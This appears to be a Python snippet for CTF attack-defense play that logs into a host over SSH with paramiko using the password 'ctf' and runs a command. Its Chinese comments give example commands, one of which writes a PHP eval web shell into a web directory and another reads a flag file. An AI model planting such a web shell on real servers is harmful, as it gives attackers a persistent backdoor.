SSH密码登录(单次登录)
#-*- coding:utf-8 -*- # coding:utf-8 import paramiko ip = '10.1.1.1' port = '22' username = 'ctf' passwd = 'ctf' #private_key_path = '/home/auto/.ssh/id_rsa' # 如果要用密钥登录 #private_key_path = "D:\\123.txt" #key = paramiko.RSAKey.from_private_key_file(private_key_path) cmd= 'ls'; # 当然,也可以使用下面提供多个命令,例如 # cmd = 'echo "<?php @eval(\$_POST[password]); ?>" > /www/admin/webshell.php' 写入www目录中 # cmd = 'cat /www/admin/flag.txt' #读取txt文件 def ssh_base_pwd(ip,port,username,passwd,cmd): port = int(port) ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(hostname=ip, port=port, username=username, password=passwd) #密码登录 #ssh.connect(ip,port,username,key); #密钥登录 stdin,stdout,stderr = ssh.exec_command(cmd) result = stdout.read() if not result : print("无结果!") result = stderr.read() ssh.close() return result.decode() a = ssh_base_pwd(ip,port,username,passwd,cmd) print(a)